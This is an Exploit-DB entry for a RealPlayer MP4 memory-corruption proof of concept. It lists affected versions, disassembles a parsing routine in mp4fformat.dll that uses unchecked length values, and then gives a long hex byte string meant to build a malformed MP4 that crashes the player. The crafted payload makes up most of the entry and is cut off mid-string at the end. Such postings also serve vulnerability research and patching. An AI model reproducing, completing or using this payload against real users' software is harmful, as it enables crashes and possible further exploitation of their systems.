Exploit-DB #18661
Description: RealPlayer - '.mp4' file handling memory Corruption
Type: dos
Platform: windows
Date: 2012-03-24
Author: Senator of Pirates

Exploit:
###########################################################################################################
Application : RealPlayer mp4 file handling memory corruption
Versions : <= SP 1.1.4 (Build 12.0.0.756)
           <= v15 
Date : 21/03/2012
Tested : Windows XP SP3 EN
Auther : Senator of Pirates
E-Mail : Senator.of.Pirates.team@gmail.com
FaceBook : /SenatorofPirates
###########################################################################################################

Bug :
----
Memory corruption during the handling of the MP4 files, sub_61177240 this function is read
some values from file so this point can be vulnerable because of not checking the values.
>From mp4fformat.dll :

61177240   55               PUSH EBP
61177241   8BEC             MOV EBP,ESP
61177243   8B4D 0C          MOV ECX,DWORD PTR SS:[EBP+C]            
61177246   85C9             TEST ECX,ECX                          ; ECX = 00000001 
61177248   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]          ; EAX is Pointer to values
6117724B   74 22            JE SHORT mp4fform.6117726F            ; The jump is not Take
6117724D   56               PUSH ESI
6117724E   8BFF             MOV EDI,EDI
61177250   0FB670 02        MOVZX ESI,BYTE PTR DS:[EAX+2]
61177254   33D2             XOR EDX,EDX
61177256   8A30             MOV DH,BYTE PTR DS:[EAX]
61177258   8A50 01          MOV DL,BYTE PTR DS:[EAX+1]
6117725B   C1E2 08          SHL EDX,8
6117725E   0BD6             OR EDX,ESI
61177260   0FB670 03        MOVZX ESI,BYTE PTR DS:[EAX+3]
61177264   C1E2 08          SHL EDX,8
61177267   0BD6             OR EDX,ESI
61177269   03C2             ADD EAX,EDX
6117726B   49               DEC ECX
6117726C  ^75 E2            JNZ SHORT mp4fform.61177250
6117726E   5E               POP ESI
6117726F   5D               POP EBP
61177270   C2 0800          RETN 8
...
61177FE9   8B4E 24          MOV ECX,DWORD PTR DS:[ESI+24]
61177FEC   33D2             XOR EDX,EDX
61177FEE   8946 08          MOV DWORD PTR DS:[ESI+8],EAX
61177FF1   8A70 0E          MOV DH,BYTE PTR DS:[EAX+E]             ; invalid address our program will crash
61177FF4   8A50 0F          MOV DL,BYTE PTR DS:[EAX+F]

############################################################################################################
Code :
------
PoC = ("\x00\x00\x00\x1C\x66\x74\x79\x70\x6D\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6F\x6D\x61\x76\x63\x31\x6D\x70\x34\x32\x00\x01\x19\x28\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\x02\x58\x00\x02\x22\xA8\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6F\x64\x73\x00\x00\x00\x00\x10\x07\x00\x4F\xFF\xFF\x29\x15\xFF\x00\x00\xA5\xE5\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B\x68\x64\x00\x00\x00\x01\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x22\x9C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\xA5\x81\x6D\x64\x69\x61\x00\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\xAC\x44\x00\x9C\xF0\x00\x55\xC4\x00\x00\x00\x00\x00\x42\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x73\x6F\x75\x6E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x29\x20\x32\x30\x30\x37\x20\x47\x6F\x6F\x67\x6C\x65\x20\x49\x6E\x63\x2E\x20\x76\x30\x38\x2E\x31\x33\x2E\x32\x30\x30\x37\x2E\x00\x00\x00\xA5\x17\x6D\x69\x6E\x66\x00\x00\x00\x10\x73\x6D\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66\x00\x00\x00\x1C\x64\x72\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72\x6C\x20\x00\x00\x00\x01\x00\x00\xA4\xDB\x73\x74\x62\x6C\x00\x00\x00\x5B\x73\x74\x73\x64\x00\x62\x62\x62\x62\x62\x00\x6E\x62\x00\x00\x4B\x6D\x70\x34\x61\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\xAC\x44\x00\x00\x00\x00\x00\x27\x65\x73\x64\x73\x00\x00\x00\x00\x03\x19\x00\x00\x00\x04"
"\x11\x40\x15\x00\x01\xE6\x00\x02\x2D\x38\x00\x01\xCD\x28\x05\x02\x12\x10\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x27\x3C\x00\x00\x04\x00\x00\x00\x00\x28\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x16\x00\x00\x00\x01\x00\x00\x01\xC9\x00\x00\x00\x0C\x00\x00\x00\x01\x00\x00\x9D\x04\x73\x74\x73\x7A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x27\x3C\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x01\x6D\x00\x00\x01\x5F\x00\x00\x01\x8E\x00\x00\x01\x76\x00\x00\x01\x7B\x00\x00\x01\x72\x00\x00\x01\x76\x00\x00\x01\x7E\x00\x00\x01\x75\x00\x00\x01\x7B\x00\x00\x01\x74\x00\x00\x01\x75\x00\x00\x01\x71\x00\x00\x01\x6B\x00\x00\x01\x61\x00\x00\x01\x63\x00\x00\x01\x6D\x00\x00\x01\x5E\x00\x00\x01\x66\x00\x00\x01\x5D\x00\x00\x01\x55\x00\x00\x01\x5D\x00\x00\x01\x66\x00\x00\x01\x66\x00\x00\x01\x60\x00\x00\x01\x59\x00\x00\x01\x56\x00\x00\x01\x54\x00\x00\x01\x68\x00\x00\x01\x4B\x00\x00\x01\x4D\x00\x00\x01\x51\x00\x00\x01\x4C\x00\x00\x01\x43\x00\x00\x01\x40\x00\x00\x01\x3D\x00\x00\x01\x2E\x00\x00\x01\x19\x00\x00\x01\x12\x00\x00\x01\x03\x00\x00\x01\x1D\x00\x00\x01\x1A\x00\x00\x01\x16\x00\x00\x01\x21\x00\x00\x01\x08\x00\x00\x01\x18\x00\x00\x01\x1A\x00\x00\x01\x09\x00\x00\x00\xFF\x00\x00\x00\xFF\x00\x00\x01\x01\x00\x00\x00\xFD\x00\x00\x00\xF7\x00\x00\x00\xF5\x00\x00\x01\x15\x00\x00\x01\x1A\x00\x00\x01\x17\x00\x00\x01\x09\x00\x00\x01\x0D\x00\x00\x01\x11\x00\x00\x01\x0F\x00\x00\x01\x14\x00\x00\x01\x09\x00\x00\x01\x19\x00\x00\x01\x03\x00\x00\x01\x0E\x00\x00\x00\xF8\x00\x00\x00\xEF\x00\x